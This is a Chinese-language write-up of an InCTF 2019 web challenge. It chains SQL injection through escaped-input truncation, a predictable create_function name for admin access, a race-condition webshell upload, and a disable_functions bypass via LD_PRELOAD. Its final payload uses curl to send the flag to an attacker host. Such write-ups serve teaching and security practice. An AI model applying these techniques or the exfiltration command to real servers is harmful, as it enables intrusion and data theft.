前言
感觉inctf的题目质量是真的高,可以学到很多的东西,因此特意花时间总结一波。
题目难度还是很大的最后只有4个队伍完成了这个挑战。
题目分析
题目的源代码:Copy-Cat.zip
这是一个白盒测试,提供了完整的源代码。下面是进入这个挑战的首页面,你将会看到一个简单的登陆功能:
如果你分析下载的代码的话,你将会看到用户的账户名和密码通过了下面的验证。
login.php
1 |
|
可以看到通过用check对输入的username
和password
进行过滤。
我们随后跟进check函数,这个函数函数的功能是首先使用real_escape_string
函数将用户输入的特殊符号给转义成完全的字符如(",',\)等,然后还要检查长度值。
functions.php
1 |
|
通过仔细的观察上面的代码,我们可以看到如果用户的输入值长度大于11个字符,则可以通过substr截断输入的值,结合上面提到的read_escape_string
函数,这将给我们提供了SQL注入的可能。
利用的方式如下:
1 | payload |
我们使用下面的代码实验一波:
1 |
|
最终的结果:
1 | SELECT username, password FROM inctf2019_cat WHERE username='1234567890\' && password='or 1#' |
现在我们可以绕过第一步成功的登陆,但是登陆后,你跳转到admin.php
页面将会显示Sorry, It seems you are not Admin…are you? If yes, proove it then !!
。
现在我们开始阅读functions下面的源代码找到如下的位置:
1 |
|
这段代码显示了怎样判断用户是admin
的。
现在我们要看它在哪里设置了成为admin跟进到remote_admin.php
。
1 |
|
通过分析代码,我们可以看到仅当通过$_SERVER["REMOTE_ADDR"]
访问改页面的IP为127.0.0.1
时,会话中的admin值才设置为True。因此我们要用127.0.0.1
来覆盖$_SERVER["HTTP_I_AM_ADMIN"]
的值,并通过调用create_function
创建函数来实现。
但是你会发现上面的那个函数没有办法调用,因为你要构造一个admin_
+$random = bin2hex(openssl_random_pseudo_bytes(32));
的函数,然后通过$_GET['random']();
传入来调用,但是那个$random
是随机的你没有办法预测。
然后我们google了几个小时找到了关于create_function
注入的相关知识。
大家可以阅读这两篇博客:
PHP create_function()代码注入
create_function函数如何实现RCE
最后阅读通过阅读php的create_function源代码解决了这个问题。
zend_builtin_function.c
1 |
|
上面的源代码中,我们可以看到create_function
函数的返回值为\x00lambda_%d
,并且实际的本地测试显示匿名函数最终以\x00lambda_1,\x00lambda_2
等字符串形式返回。
然后回到上面的代码,我们可以预测$remote_admin
变量中匿名函数的字符串名称值,以便我们可以调用匿名函数来获取管理员的权限,而无需直接调用admin_$random()
函数。
绕过的payload如下:
1 | GET /remote_admin.php?random=%00lambda_1 HTTP/1.1 |
现在,获得管理员权限后,如果我们再次访问admin.php
页面你可以看到有一个上传功能。
上传功能的代码如下:
upload.php
1 |
|
functions.php
1 |
|
代码的流程如下:
解压缩上传的Zip文件到./uploads/md5_hex_value/
目录下,并且将会验证上传的文件后缀来判断是否要删除文件。
但是上传的文件是先保存后在删除的,因此我们可以用条件竞争的方式来getshell。
youngsin.php(将此文件压缩成youngsin.zip)
1 |
|
raceCondition.py
1 | import requests |
结果如下:
1 | WebShell Path = /var/www/html/uploads/e8d8a3c4bd79dbe75be52c8328e2f1bb/../youngsin/webshell.php |
如果你访问生成的webshell,你将看到webshell已经正常上传。
现在,我们已经成功的上传了webshell,但是我们还是不能去读取flag存在的文件因为这个文件只有执行的权限,因此我们并不能通过简单的file Function
来获取。
通过phpinfo()
我们可以看到,disable_functions
的设置如下:
disable_functions
1 | pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait, |
基本上,我们可以看到php中所有有关shell的函数都被禁用了,但是禁用函数列表没有禁用putenv
,因此我们可以使用LD_PRELOAD
来突破disable_functions
来执行系统命令。
LD_PRELOAD
为我们提供了劫持系统函数的能力,但是前提是我们要控制php启动外部程序才行(只要有进程启动行为即可),我们常用的启动一个新进程的方法有mail,imap_open,error_log,syslog
和imagick
(没有安装此模块),其内部原理都是通过execve
来开启一个新的进程。
但是禁用函数列表全部把我们可以用的函数全部给禁用了现在我们就要看看php安装了哪些可以用的模块。
我们最后在phpinfo中看到了一个名为mbstring
的扩展模块。
如果安装了该模块,则可以使用Multibyte character encoding
的功能,其中的mb_send_mail
函数的功能可以替代mail
,并且达到相同的效果,如下所示:
对于这个函数,由于它除了编码部分其余与mail
函数一样,因此通过execve
进行sendmail
调用是在内部进行的,并且不应用disable_function
,因此我们可以通过使用LD_PRELOAD
来劫持系统函数,执行系统命令。
下面简要介绍一下LD_PRELOAD
怎样劫持系统函数。
1. 创建一个覆盖execve的共享库(例如:gcc -shared -fPIC evil.c -o evil.so)
2. 上传.so文件。
3. 通过使用php的putenv
来设置LD_PRELOAD
,让我们的动态链接程序被优先调用。
4. 调用一个函数(例如:mail,imap_open,error_log等),该函数在php内部调用execve
。
如果你对这项技术感到好奇,你可以通过google搜索关键字如php ld_preload bypass
来详细的了解。
执行上述过程的代码如下:
evil.c
1 |
|
php payload
1 | /uploads/youngsin/webshell.php?0=putenv("LD_PRELOAD=/tmp/evil.so");putenv("youngsin=curl http://my_ip:9996/ -d id=`/readFlag|base64|tr -d '\n'`");mb_send_mail("a","a","a"); |
执行payload后,你将会在你的服务器日志中获取flag。
1 | Flag = inctf{Ohh,you_are_the_ultimate_chainer,Bypassing_disable_function_wasn't_fun?:SpyD3r} |